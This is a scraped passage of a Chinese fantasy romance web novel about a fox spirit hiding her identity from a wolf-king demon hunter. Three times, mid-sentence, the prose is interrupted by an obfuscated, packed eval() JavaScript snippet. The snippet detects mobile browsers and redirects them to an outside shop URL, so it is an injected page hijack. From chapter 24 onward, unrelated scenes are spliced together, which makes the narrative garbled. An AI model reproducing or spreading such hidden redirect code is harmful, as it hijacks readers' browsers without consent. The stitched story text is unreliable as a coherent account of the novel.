君泽琛挑眉:“什么意思?” 很快,他就明白了。 因为狐狸在拜完他之后,挪动着小碎步,试探地向他靠近,蹑手蹑脚来到他身后,用小爪子抱住他的小腿,探出脑袋对众狐狸吱哇一声。 “这个人,罩着我,懂?” 她以为君泽琛是人类,听不懂狐妖的语言。 用最怂的语气,说出最理直气壮的话。 殊不知,狼王懒得翻译狐语,但不代表听不懂。 他狭长的眸子一眯,盯着脚边狐假狼威的小狐狸,顿时觉得新鲜极了。 其他狐狸见胡淼淼把爪子搭在男人腿上,有些踌躇了。 真的假的? 见他们不信,胡淼淼绞尽脑汁,“我和他是一伙儿的,不信你们问,他是不是正在找一个叫胡淼淼的人类?” 君泽琛无声扯起嘴角,怪不得胡淼淼的气味到小狐狸身上消失了。 很好,胡淼淼在小狐狸手上。 都不用狐狸们问,君泽琛亲自弯下高大的身躯,将腿边的小狐狸提溜起来。 猝不及防被薅住命运后脖颈的胡淼淼:“?” 哎?后脖毛有点紧…… 她蹬了蹬后腿,呼吸困难,命也有点紧…… 21. 第 21 章 “怎么,我们不是一伙的吗?做什么怕我?” 胡淼淼知道君泽琛长得很凶,往日和他相处的时候,也会害怕挨揍。 如今这张凶神恶煞的活阎王脸在眼前放大,恐惧加倍。 她吓成飞机耳,狐狸眼瞪溜圆。 他…… 他说什么? 他不是人类吗?怎么知道她说的妖族语言? 刚刚她说了什么来着? 他罩着狐…… 胡淼淼:“……” 她嘤了一声,用爪子捂住眼睛,整个狐狸身躯都隐隐泛红,蓬松的大尾巴往上一翻,盖住了狐狸脸。 胡淼淼变成狐族之后,比起人形温柔的声音,狐狸的叫声似狗非狗,比狗狗的叫声清脆,宛转,时而会嘤嘤嘤,且带上小动物自带的稚嫩,所以君泽琛并没听出来她是胡淼淼。 胡淼淼在他眼皮子底下失踪,他现在的心情很不好。 许久之前,如果有人说他会在乎一样东西,或者什么人,他一定嗤之以鼻。 上辈子记不清了,这辈子却已没什么可以失去的了。 胡淼淼一个人类,不过和他相处了几个月,在他漫长的岁月里,只是一个零头,完全可以忽略不计。 然而,他重伤未愈,是她陪在他身边,孤寂的生命里,注入从未体验过的新生。 她或许笨了一点,胆小了一点,爱哭了一点,是一个狼族看不起的弱小人类,不过在君泽琛眼里,就注定和其他人不同了。 她会关心他,夜里时常踩着他的狼毛,还会钻他怀里寻求庇佑,还会在他“修复内丹”昏迷期间,担惊受怕,夜里爬起来偷偷摸摸他的鼻子,看看有没有气。 他生在残酷的族群,都是很普通的一些小事,却是狼王毕生所追求的。 他想她活。 狼王也会标记自己的领域,自己地盘上的猎物,容不得别的生物放肆,更何况对方还是狐狸。 他恶劣地揪住狐狸的一只耳朵,凑过去低语,“是怕我拆穿真相,你被那些狐狸活吞了吗?” 果然,小狐狸的眼睛又瞪大了几分,湛蓝的瞳仁里都是对他话里的恐惧。 “嗷……”别,救救狐…… 君泽琛:“你知道我是谁吗?” 他用手拨弄了一下她的耳朵:“我是捉妖师,怎么会救狐狸呢?” 小狐狸抖了抖,耷拉下耳朵,眼泪开始在眼睛里面打转,想要说什么,都怕被可恶的捉妖师继续针对。 她是知道君泽琛讨厌狐族的。 他怎么可能帮狐呢,是她太天真了,以为自己人形和他混在一起,就了解他了。 其实他是一个…… 正想着,男人话锋一转:“不过,你如果识相一点,我帮你处理掉这些狐狸们又如何?” 胡淼淼眼睛一亮,把狐狸脑袋从尾巴里拔出来,歪头:“嘤?”真的? 男人的眼神幽深,带有薄茧的指腹捏住狐狸小巧的下巴,抬起来。 “只要把胡淼淼还给我,我便帮你渡过难关。” 胡淼淼:“???” 她脑袋一低,那不行。 看出了她的抗拒,男人没耐心地蹙眉,用力攥紧她,“为什么不行?她怎么了?” 受伤了? 君泽琛的心头沉闷,人类弱小,哪怕是眼前这个小狐狸精,也能轻易对她下死手,她的气息到沾染在小狐狸身上之后就不见了,难不成惨遭毒手了? “我最后问你一遍,为什么不行!”他收拢了掌心,狐狸在他手里挣扎,嗷呜嗷呜叫。 “那不行,她是我自己的。” 君泽琛:“?” 君泽琛:“???” 他差点手滑把狐狸掐死,百年不变的棺材脸没崩住,裂开了。 春季的风有些冷,扑簌簌地刮在人身上,君泽琛深呼吸,把小狐狸拎起来晃了晃,忍了又忍,没忍住道:“你是一只母狐狸吧?” 狐狸探头,疑惑脸:“呜?” 不然呢? 君泽琛:“你死心吧。” 胡淼淼:“?” 君泽琛:“你没机会,胡淼淼不会喜欢母的,她喜欢公狗。” 胡淼淼:“……?”公……狗? 她就不能自恋一下? 大概是小狐狸给君泽琛的打击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16031721|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太大,超出了他的三观,他第一时间没有掐死她,而是清理掉其他狐狸冷静一下。 君泽琛的妖丹差点没恢复,对付一群狐狸却连妖力都懒得用,期间胡淼淼挂在他的手臂上星星眼,佩服了一半后知后觉。 她在佩服什么,等杀完了那些狐狸,杀的就是她呀! 胡淼淼老实了,眼珠子滴溜溜转,试图找机会从君泽琛身上逃跑。 她跑得光明正大。 于是…… 君泽琛用树枝插死一只橙狐,把窜上肩膀的小狐狸薅回来。 君泽琛用手捏死一只紫狐时,把窜到腹部的小狐狸抓回来。 君泽琛用脚踩死一只狐狸时,把试图从臂弯里挤出去的小狐狸提溜回来。 君泽琛要杀死一只灰狐时,眼皮子一跳,把奔他裆部而去的狐狸崽子抓回来。 “再不老实,就先弄你。” 胡淼淼怂了一会,突然偷袭,在他虎口上咬一口,和上次咬中的印记重合,她在等,等他像上次那样撒手,她好跑。 然而这次,男人只是垂眸看一眼她,捏住她的腮,迫使她张口,并给她一个脑瓜崩。 胡淼淼嗷呜一声,疼得晕头转向,抱着尾巴蜷缩成一团,脑子晕乎乎的,没一会就闭上了眼睛。 世界终于安静了。 君泽琛在杀最后一只白狐的时候,问:“此次找这只狐狸做什么?” 白狐的毛上沾了血,它看着满地死去的同族,悲鸣一声:“逆狐勾引我族少君,叛出狐族,勾结捉妖师……” 他的声音凄厉,用生命发出某种信号,便绝了生息。 君泽琛不以为意,手指一动,地上的一根树枝飞过去,插在白狐的胸膛,以绝后患。 他看一眼天色,这个季节天亮得比冬日早,一缕光线照射的郊外,宽阔的视野里,形成一线天。 而他想找的那个人,没能和他一起看日出了。 只有一只没心没肺、牙尖嘴利、乱咬狼的狐狸,死猪一样挂在他手臂上睡觉。 君泽琛不喜与生物肌肤接触,薅住小狐狸的后脖领子,拿远了一些。 嫌弃得要命。 22. 第 22 章 拈花楼,一匹红色的大狼在楼里甩着尾巴走来走去,时不时忧愁地看一眼外面,又看了看房内的人类,愁得掉毛。 一个晚上了,那家伙怎么还没回来? 他自己不回来就算了,总得把那女人找回来啊! 天杀的,好端端一个活人,比他这只妖还邪门,说不见就不见了。 红溯魇烦躁。 他还指望那个女人让狼王从此不早朝呢。 几百年了,就这么一个女人能近狼王的身,让红溯魇怎么不急? 他这一急不要紧,每走一步,地面都会抖三抖,二楼已经被他庞大的身躯压塌了,一楼全是狼爪印。 昨儿夜里,戴继昌见君泽琛走了,以为自己又行了,就支棱起来要和红狼大战三百回合。 一回合没完事,就被红狼一爪子踩到了地底下,山鬼抠都没抠出来。 其他拥护戴继昌的狐朋狗友早就吓晕了过去,更别提捉妖了。 山鬼一团雾气急得团团转,在戴继昌的耳边嗡嗡嗡,“你可不能这么死了啊,你死了我可怎么办……” 楼里的姑娘听过故事后很是怜爱她,扭着帕子劝:“你怎么变成这副样子还那么心善,恶有恶报,他不死,又要祸害别人了。” 山鬼:“可是,他还没有断腿、他还没有挖心、还没有分尸,我怎么忍心让他去死。” 众姑娘:“……” 她们不再劝说,并帮山鬼将戴继昌从地下挖出来。 山鬼心满意足地飘到楼里的某个房间,回来的时候左边一个锤子,右边一把刀,附在戴继昌身上开始兵兵乓乓。 没有红狼的允许,在场的所有人都出不去,只能撑着精神在一旁打盹。 直到天亮,光线顺着大门照耀进来,一个黑色的高大身影大步走进来,他沉着脸,一副死了伴侣的样子。 红溯魇暗道一声不好。 狼躯缩小缩小再缩小,免得被殃及池鱼。 但他眼尖吗,一眼就看见了君泽琛提着的东西。 他用爪子挠了挠耳朵,瞧瞧,人没找到把孤寡老狼气成什么样了,这狐狸瞧着刚成年吧,身无二两肉,拿回来撒气打两拳就扁了。 正想着,便见男人将狐狸找了个地方一丢,冷眼看他,“小狐狸身上有淼淼的味道,淼淼被她藏起来了,你想办法撬开她的嘴。” 他讨厌狐狸,不打算亲自动手。 红溯魇身为君泽琛的左膀右臂,手段还是有的,当下说让君泽琛放心,他保证把这只小狐狸安排得明明白白。 君泽琛冷眼看他蠢蠢欲动的模样,不知想到了什么,冷不丁补充一句:“别弄死。” 红狼拍拍胸脯:“放心吧!” 君泽琛:“小狐狸崽子娇气,容易死,少动手,多动嘴,说服她。” 红狼:“?” 他试探性问:“您的意思是?” “别打!” 红狼:“……” 他抓耳挠腮,不严刑逼供要怎么撬开狐狸嘴呢? 于是,当胡淼淼再次睁开眼睛,就看见了一只红狗,正不怀好意且眼神复杂地盯着她看。 狼她不敢招惹,捉妖师她不敢招惹,一只狗还不行吗? 她刚睡醒,理智尚未回归,觉得自己强得可怕,邦邦给了狗眼睛两爪。 红溯魇没想到这小狐狸崽子眼睛一睁就上手啊,堂堂妖将竟然没躲开。 嗷呜一声捂着眼睛趴地上自闭了。 待胡淼淼理智回归,才意识到自己误伤拉车的坐骑,心虚地爬过去,用肉垫拍拍他的狗毛。 “嗷!”别哭了嗷,抱歉啊,狐不是故意的。 抓瞎了以后怎么拉车。 红狼诡异地沉默了,用看傻子一样的眼神盯着她。 狐族现在都这么教育狐狸的吗? 怎么反过来安慰狼? 他思索了一会,顿悟,诡计多端的小东西,妄想让他放松警惕,然后逃跑。 胡淼淼确实准备逃跑,狐狸们都死了,她没必要再用狐狸的形态,一点都不安全。 可她又不能当众幻化人形,只能想办法离开此地再说。 她悄悄观察,昨天晚上的楼一夜之间不知发生了什么,破破烂烂的,好像随时准备散架。 红溯魇挡住她的视线:“你别想逃跑,我会一直盯着你,永远!” 胡淼淼:“……” 她吱吱哇哇试图和红狗讲道理,红狗油盐不进,并一爪子把她按在地上,“说,胡淼淼去哪了。” 你爪子底下呢。 胡淼淼欲哭无泪,有本事让她找个地方偷偷变身啊。 红溯魇:“阴险狡诈的狐妖,怎么不说话,是心虚了吗?还是在想怎么狡辩?我告诉你,胡淼淼是我老大爱人,你如果不说出来,我就要上刑了。” 小狐狸耳朵biu地一下竖起来,不敢置信地盯着他,“嗷???”老大的爱人? “对,我老大是君泽琛,带你回来的那个,我跟你讲识相的……” 红溯魇讲着讲着,不知怎么小狐狸不仅没害怕,反而激动了,在他爪子底下挣扎,并骂骂咧咧嗷嗷叫。 一会骂他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16031722|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话说八道、一会骂他强抢民狐,还骂他们强买强卖。 小狐狸词语用的不太明白,到后面还骂他这匹狼是臭不要脸的臭狗,他老大是不知羞耻的烂人。 红溯魇跟着君泽琛统领狼族多年,何时受过这等辱骂。 他当场翻脸,“你再说,我按死你。” 小狐狸气得发抖,并威胁:“你按死我,我和胡淼淼同归于尽。” 红溯魇:“……” 整不了,打不得骂不过,这真整不了。 他松开了胡淼淼,唉声叹气,胡淼淼借机爬走。 和凶神恶煞的红狼不同,小狐狸生得软萌可爱,一身狐狸皮这阵子也被君泽琛养得油光水滑,楼里的姑娘们盯许久了,见她从恶狗爪下逃出来,不约而同松了一口气,并纷纷围了上去。 连正在给戴继昌开膛破肚的山鬼都瞅两眼。 山鬼把戴继昌倒挂起来,也凑到小狐狸身边,一团黑雾围着她绕了好几圈。 扭捏成奇怪的状态,结结巴巴:“你……你好可爱,我能摸摸你吗?” 胡淼淼被人们的热情吓得不知所措,“呜……” 每次其他狐狸将她围起来都要撕咬她,她本能地畏惧,慌乱地想逃跑,然而尾巴不知被谁摸了一把,轻轻柔柔的,让她狐躯一软,趴在地上。 “呼噜呼噜~” 并不疼,还……还挺舒服的。 她试探地把尾巴递到一个姑娘手里,姑娘眉开眼笑,小心翼翼地给她顺毛。 姑娘的力道柔软,没有狐族那么凶悍,狐狸长了那么大,第一次知道,原来被抚摸,也是一种舒服的事儿。 山鬼不甘示弱,黑雾幻化出人类的手,摸了摸狐狸头。 -- 君泽琛并没有把希望都寄托在小狐狸身上,他在外面放出神识,掘地三尺也没有找到胡淼淼半点踪迹。 最后,他只好回来看看狐狸审问得怎那么样了。 一脚踏进门,房内的其乐融融的气氛戛然而止。 君泽琛的脚步顿住,他看见了什么? 一大群人类围着小狐狸端茶送水递糕点,小东西被人类抱在怀里,食物送上来,来者不拒,还把尾巴递过去给山鬼摸。 漂亮的狐狸眼舒坦地眯起,小肚皮晾在上面,耳朵随着咀嚼食物一抖一抖的,好不惬意。 而他的废物属下,正蹲坐在群体的对立面,眼巴巴看着。 看见他回来,似乎找到主儿了,连忙告状:“王……老大,这狐狸手段了得,我不是对手啊。” 君泽琛:“……” 23. 第 23 章 随着君泽琛的到来,场面明显僵了,享受狐生巅峰的胡淼淼垂死病中惊坐起。 不对啊,贪图享乐,忘记逃跑了。 君泽琛回来后,她更是没有逃跑机会了。 男人大步上前,众女把小狐狸往后藏了藏,小狐狸也害怕。 “嘤!”一狐做事一人当! 她从众人的保护圈跳出来,对男人恶狠狠地露出一对儿小尖牙。 众女纷纷向君泽琛投去谴责的目光。 君泽琛无视那些乱七八糟的视线,把狐狸薅回来,敏锐地闻到她身上的香粉味,也不知是谁身上蹭的。 君泽琛冷嘲热讽:“死到临头了,你倒是会享受。” 狐狸抱着爪子不吱声,继续对他呲牙。 他看着莫名火大,让红溯魇继续看着众人,自己则带着狐狸出门了。 他在深山中找了一处水潭,将狐狸往里一丢。 “洗干净你身上乱七八糟的味道。” 小狐狸在水里狗刨,漂亮的毛毛像是海藻一样漂浮在水面,倒三角鼻头湿漉漉地嗅了嗅,别说,还真有点味。 她吸了吸鼻子,对岸边的男人说:“嗷呜?” 你远一点,狐要洗澡了。 男人冷眼看她,“你想逃跑?” 胡淼淼:“嗷呜?”你想耍流氓? 君泽琛嗤之以鼻:“一个狐狸,有什么好看的,谅你也没本事逃出我的手掌心。” 他背过身去,靠着一棵大树闭目养神。 起初,胡淼淼还在用心地洗澡,后来,她的眼睛开始四处巡视,在水里磨磨蹭蹭不出去。 君泽琛显然对狐狸没有耐心,没过多久就不耐烦地催促了。 “快点!” “咕噜咕噜~” 身后传来声音,君泽琛意识到不对,一回头,便见某狐狸已经顺着水流飘走了。 他双手环在胸口,冷眼旁观,等在狐狸窃喜的时候,瞬移到水上。 男人瞬移的太快,黑衣被风吹动得猎猎作响,身上的银铃叮叮当当,像是敲响了死亡钟声,徘徊在上空。 他脚尖点着水面,负手而立,居高临下地睥睨着水里的狐狸,俊美的脸上透着几分对狐狸的嘲讽,“你跑不掉的。” 是吗? 水里的小狐狸歪了歪头,倏然,水面掀起巨大的浪花,一道白影破水而出,她没有逃跑,而是势如破竹地向君泽琛窜去。 伴随着的还有形成漩涡的朵朵浪花,离开水面。 “呵~”男人杀狐无数,从始至终都不认为一个刚成年的小狐狸能做出什么事儿来 。 他以为小狐狸使出了浑身解数要攻击,就任由她近了身,想看看她到底耍什么花招能破开他的防御。 然而,意料中的攻击并没有袭击过来,而是一双白皙、纤细的手臂,柔弱无骨地环住了他的脖颈。 水浪包裹住女人的身体,曼妙的身姿若隐若现,水滴击打在他的脸上,模糊了视野,隐约的,他看见了一双湛蓝的眼睛。 那双眼睛清澈见底,此时银蓝色的眼线勾勒出眼尾漂亮的弧度,眼眸眨动间,无不魅惑。 她就像是一捧香甜的花,撞到了他的怀里,甜而浓郁,将他包围。 刻意压低的魅惑声线,就像是山涧蛊惑人心的鬼魅,蛊惑人心。 女人环住他的脖子,吐气如兰,语带几分稚气和得意,“别忘了,我是狐狸。” 狐狸,不擅长攻击,擅……魅惑。 君泽琛是不吃这一套的,然而不知怎么,从她的气息中感知到几分熟悉,他的眼睛紧盯着怀中人,想要看清她的脸。 然而看见的只有水汽隔着的蓝色美眸,她如烟如雾,就这样从他的怀里溜走。 毛绒绒的触感从指尖划过,他张开手掌想去抓,身体却不是很受使唤,坠入水中,溅起一阵水花。 他直挺挺躺在水中,隔着水幕,看见那纤细的身影跑远,眸光执拗,仿佛盯上了猎物的野兽,森冷可怕。 -- 胡淼淼不敢回头。 她的所有力量都用来维持人形,现在动用了妖术,能够短暂地迷惑君泽琛,自己则被掏空了,她身上湿漉漉的,赤着脚踩在山路上,一瘸一拐向山上跑。 距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16031723|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离他们的离开,已经两天了,鸡大妖正在孵蛋 ,并给他们看家。 新一代的小鸡即将破壳,鸡大妖守在鸡窝里,期待的像是等待孩子诞生的后爹。 再次看见胡淼淼回来,它吓了一跳。 “怎么了祖宗?” 不过出去一趟,回来怎么就这么狼狈? 只见胡淼淼半人半妖模样,头顶上顶着一对儿毛绒绒的大耳朵,浅薄的衣服湿透,后面是黏嗒嗒的狐尾,一张脸色苍白得可怕。 鸡大妖:“狐祖宗,您被捉妖师打回原形了?” 胡淼淼扶着块石头喘了一口粗气,点了点头。 鸡大妖叹气:“早就说你和捉妖师混是没有好结果的,就是不听,看看,吃亏了吧。” 胡淼淼觉得鸡精说得对。 她可能脑抽了,才会留在捉妖师身边,只是…… 她的脑海中浮现出一双苍绿色的眼眸。 那日,火光照耀下,显得男人冷硬的面容柔和了,锋利的浓眉压着眼睛,他的眼睛轮廓狭长锋利,很像…… 胡淼淼甩了甩头,将脑海中的那一抹不舍甩掉,磕磕绊绊回去收拾行李。 没什么可带的,只有一些果子、被子、以及好狗的狗窝和破盆。 她用被子将这些东西裹起来,打了个结,回顾山洞里的一切,曾经和好狗的一点一滴浮现在脑海中。 可是,这里不能待了。 狐族找到这里来了,捉妖师也随时发现她的身份,她早该看清他,如果被他捉住狐狸尾巴,是不会惦念情分的。 是她脑子拎不清,被捉妖师“和善”的外表蛊惑了。 她背好行囊,叫洞外的鸡大妖带上鸡蛋,准备出发。 鸡大妖并没有说话,回应她的是一道沉稳的脚步声,在狭小的山洞更为清晰,越来越近。 熟悉的压迫感和他的步伐一样,每靠近一步,胡淼淼心尖都会随之一沉,她慌乱地捧住耷拉在身后的大尾巴,头上的狐狸耳朵炸了毛,一双漂亮的美眸满是惶恐地盯着来者的方向。 他……他怎么那么快就摆脱了她的术法? 24-30 第 24 章 第 24 章 随着脚步声一点点靠近,胡淼淼的大脑乱糟糟一片,耳朵嗡嗡的,她不知该如何动作,不过几秒,脑子里就运转了各种被发现身份的惨状。 捉妖师发现自己被狐狸欺骗,恼怒之下,把狐狸拍扁打成狐饼。 捉妖师一怒之下,剥了她的皮,起锅烧油,把她翻炒。 捉妖师还会用各种手段折磨狐狸,让狐狸生不如死。 胡淼淼心思百转之间,男人已跨步进来。 君泽琛手里提溜着一只不断挣扎的鸡精,鸡精还在嘚啵嘚啵:“你们两个有什么话好好说,千万别动手,冲动是魔鬼,你打她就是你的不对。” 君泽琛:“也就是说,胡淼淼回来了。” 他一道禁言术,封了鸡精的口,顺手丢出去,这才迈着漫不经心的步伐进来。 他不止一次来到山洞里,山洞简陋,却很温馨 ,空气里弥漫着淡淡的香味,是胡淼淼的味道。 君泽琛眸光幽深,准确地锁定了床上隆起的小包。 石床旁边,他的破盆,狗窝凌乱地丢在地上。 他目光不经意扫过某处微湿的地面,停顿了两秒,越过杂乱的东西,来到床前,声音听不出喜怒:“好端端怎么回来了?我找了你许久。” 胡淼淼躲在被子里,语气略微僵硬:“我……我突然身体不舒服,来不及和你吱声,就回来了。” 她的话语有漏洞。 胡淼淼衣裙凌乱,背过身子穿衣服。 明显感觉背后有一道视线看过来,她刷地一下回头。 男人垂眸,在盯着凳子扶手上的晶蓝色宝石发呆。 她把脑袋转回去继续穿,那道视线又似有似无飘过来,她再度猛地回头,男人还是刚才的姿势,可她却因为太过着急咔嚓一声扭到了脖子。 哎呦一声,捂着脖子躺尸。 原本稳如狗的男人豁然起身瞬移过去,“怎么那么不小心?” “抓到你了。”胡淼淼和八爪鱼似的缠上他,双手双腿齐上阵,满头青丝飘散在背后,衣襟斜至肩,圆润可爱的肩头会随着剧烈呼吸而轻颤,男人只看一眼就能看见未曾遮盖住的风光。 他呼吸停滞,鼻尖隐隐发痒,狼狈地侧过头,“抓我做什么,不是嫌弃我丑吗?” “丑是丑了点,可也不是每天都对着我呀。” 君泽琛:“?” 老狐王听得心惊胆战,“孩子,你不能这么做,我是你的亲生父亲,当初不要你也都是迫不得已,我是真的爱你,你不能这么对我,孩子……” “你说你爱我,那你说,我叫什么?”胡淼淼不耐烦地打断他的话,浅色如琉璃的眼睛在昏暗的水牢里显得比以往深,她居高临下凝视着这位父亲,“你还没叫过我的名字。” 老狐王一顿,支支吾吾:“苏……苏……” 传言,当年的妲己娘娘出身有苏,所以有苏的历代狐王都姓苏,他苏了半天,也没有苏出来个所以然。 胡淼淼的眼睛里,最后一抹细碎的光熄灭,她扯了扯嘴角,“父亲,这是我第一次叫你父亲,也是最后一次,我叫胡淼淼。” 从始至终,她都是一个笑话,连个名字都不配被记得。 她在想,当初他们是出于什么原因赠与的她这个名字。 一只狐狸,取名淼淼。 “你的意思是我戴上面具?” “还能戴面具呢?”胡淼淼错愕地瞪大眼睛,下意识又去瞄,而这一次偷瞄的小眼神被君泽琛逮住个正着,电光火石之间,他狼脑抓住了重点,随即脸色更黑了。 “胡淼淼,你个色狐狸!” 天边不知第几轮日光投进来,照耀荒唐的室内,窗户无声无息吹开,室内的气息渐渐消散。 胡淼淼:“?” 她气鼓鼓地用脑袋撞他,“你过分了,你才色,明明是你先说它丑的。” 君泽琛肺管子都要气炸了,这还不如说他脸丑呢,至少脸不是他的尊严。 他一把拽下面具,那张拽炸天的俊脸怼到小狐狸面前,拉过她纤细手指,按在他左侧眼睑下,声音震天响,“胡淼淼,我说的是这个,你说的是什么?” 胡淼淼:“……” 她大脑呆滞,毛绒绒的狐耳抖三抖,神游太虚,“啊我啊……我说的也……是这个吧?” 虚弱的小动静,加上漂浮不定的眼神,怎么看都没有说服力。 君泽琛手指掐她精巧的下巴,凝视她爆红的脸蛋,“看什么呢,看我,怎么不看了?” 那……看,嗯看脸。 胡淼淼别别扭扭地去看他的脸。 说实话,如果不算另一个时空的话,她已经很久没看君泽琛的脸了。 他的五官无不好看,就是上天雕刻的时候有点太用力,导致每一根线条都很锋利,很有冲击性,合在一起显得更加凶暴,是那种很硬汉,像家暴男的感觉 。 很符合他狼王的身份。 很多时候,胡淼淼都不敢直视他的脸,曾经还因为他的这张脸以为他是大坏蛋。 但细细接触下来,会发现他还不错,甚至心很细能做到面面俱到,照顾狐狸的一切感受。 后来他们在一起了,胡淼淼硬生生把这张凶脸看顺眼,唯有在床笫之间不敢看,因为她有一种对方发起狠来想弄死她的错觉。 而这一次,她再次正视他的面容。 指腹感受他新多出来的印记,“这是什么时候出现的?” 君泽琛向上看一眼,从胡淼淼的角度就是……她用力掐了掐他的脸,呲起犬齿恶狠狠道:“跟你说话呢,你还对我翻白眼?” “君泽琛,你太过分了!” 君泽琛:“……不是,我是想说,贼老天劈的。”上天就是和他过不去,似乎时刻都在盯着他,刚一说,狼族上空就打了一声雷,他又凉凉地想上面扫一眼,然后看像胡淼淼,那眼神很平静,可是胡淼淼竟觉得他有几分委屈。 她立即道歉:“对不起,我以为你在瞪我。” 狐是一只好狐,给他摸摸头。 他侧头躲过,“狼的头不能摸。” 胡淼淼:“摸了得对你负责?那没关系,你浑身上下哪里不是我的,哪里摸不得?” 这么说,也勉强可以,君泽琛垂眸坐在她床边垂眸不语,胡淼淼就主动往他身上贴贴,她摸摸爬他怀里,狐耳蹭他下巴,“是在日落山我被抓走的那一次吗?” 那一次苏山灵动用了幻境,只不过她的力量不成熟,胡淼淼还是窥探到她的家在下雨,那日电闪雷鸣,在劈她的夫君。 这一刻,什么气都消了,她心疼地用手指摩挲男人的脸,手感和平时一样,那个印记完美地融入他的肌肤,没有异样感觉。 “不丑的。”狐实话实说,他的脸底子在那里,就连眉尾的疤痕都不会太难看,更何况是印记呢,那个印记的纹路像闪电,也像树的分叉,一共三条,占比不是很大,反而让他凶巴巴的脸多了一点别样的颜色,显得有几分生机。 她凑上去,靠近他的脸。 男人静静地看着她,呼吸不自觉放轻,就这样等待她靠近。 然后她,停了下来。 她蓝汪汪的眼睛眨了眨,“你在等什么?” 君泽琛:“之前我用神识找过,没有找到你。” “啊,这个……神识真的那么厉害吗?”胡淼淼正在努力藏尾巴,被子里的氧气稀薄,她俏脸憋通红,一时之间不知该如何回答他的问题。 胡淼淼失踪,君泽琛恨不得把整个人间都翻一遍,怎么可能会放过这里。 他曾经来过,却没有看见胡淼淼的身影。狐狼之家一片祥和平静,而整个妖界掀起一片血雨腥风,狼族攻击力量突飞猛进,如果说之前只是偶尔伤几只狐狸,和小猫逗弄老鼠一样,这一次却实打实的恶狼扑食,所过之处,血染千里。 就算青丘、有苏两族不曾报信出去,其他狐族也知道了消息,毕竟整个妖族都知道了此事。 唇寒齿亡,涂山和纯狐本不想冷眼旁观,这时沉寂已久的狼王派狼传达命令,他只针对有苏和青丘不伤及无辜,当然,如果其他两族想掺和,他不介意一起解决。 青丘有苏损伤太过惨重,狼族的实力真想要灭尽所有狐族,只是时间的问题。 两个族群一商量,干脆放弃了青丘有苏,带领狐族搬迁,早早地躲起来,生怕被狼族逮住狐狸尾巴。 除此之外,狼王还发话,有苏想要活命可以,只要交出王女,他可以让他们苟延残喘些时日。 王女是废狐的消息,也传遍整个狐族。 舆论发展得很快,就像曾经传播水狐是灾星一样,将压力传递给王族。 普通狐族,要求王族将王女交出去。 当初他们厌恶水狐,是因为水狐能给他们带来灾难,现在同样可以厌恶王女。 身为狐族未来继承人,享受狐族爱戴,却不知什么时候得罪嗜血的狼族导致牵连狐族,这让他们如何不恨? 甚至有狐族夜闯王女寝宫被活抓后当着王女的面谩骂:“你个扫把星 ,你好端端为什么得罪狼族?狼族要你过去,你就过去送死好了,还有什么脸面活在狐族?你去死!!” 狐族守卫将那只偷袭的狐斩杀,可是他们看着王女的目光,早就不如以前那般尊敬。 君泽琛没有继续追问这个问题,而是问:“哪里不舒服,可是生病了?” 胡淼淼悄悄松了一口气,小声说:“就……就是感觉头疼。” 捉妖师阴魂不散,随时面临着被薅狐狸尾巴的风险,小狐狸核桃大小的脑子要炸了,她的头能不疼吗? 存在感极强的气息靠近,她藏在被子里,感知到男人坐在了床边。 只要他动手掀开被子,就能发现她半人半妖的模样。 胡淼淼害怕地眼泪在眼眶里打转,声音哽咽:“你别过来,可能是生病了,还是传染病,小心传染给你。” “是吗?” 婚礼将近,小狐狸的嫁衣君泽琛还没绣完,时间紧迫,也就没太多精力弄其他的,所以他干脆让小狐狸带着狼族去布置婚礼现场,给她一大笔钱,让她爱怎么折腾怎么折腾,如果那些“狗”不听话,就来找他告状。 胡淼淼没找他告状,那些狗还是蛮听话的。 除了有一只狗总是用奇怪的眼神看她。他们很赶时间,苏山灵包扎好,二话不说下令尽快赶回狐族。 胡淼淼才知道,原来现在狼族把狐族包围,他们费老大劲儿才从狐族逃出来的,回去的路上还要躲避狼族。 白青羽这边行不通,胡淼淼开始计划方案二。 她路上被人提溜着走,偷偷用尖锐的牙齿磨绳子。 咀嚼声有些大,白青羽一回头,就看见小狐狸用爪尖勾着一根绳子,歪着脑袋嚼嚼嚼。 她轻咳一声,示意小狐狸收着点。 胡淼淼回以无辜的眼神,用肉垫对她比划了一下,示意她不帮忙,狐只能自力更生。 从白青羽的视角看,就是小聊斋对她用肉垫开了个花。 她倏然回头,猛然吸了一口气,空气过肺,才捂着鼻子清醒几分。 呵,区区小狐狸,手段了得。 眼看要到狐族,狼族的分布越来越密集,气氛也越来越严肃,连经常找胡淼淼发火的苏山灵都不敢怎么说话,然而就在即将进入狐族的时候,一声高昂凄厉的狐狸叫,惊得飞鸟到处乱窜。 刷刷刷—— 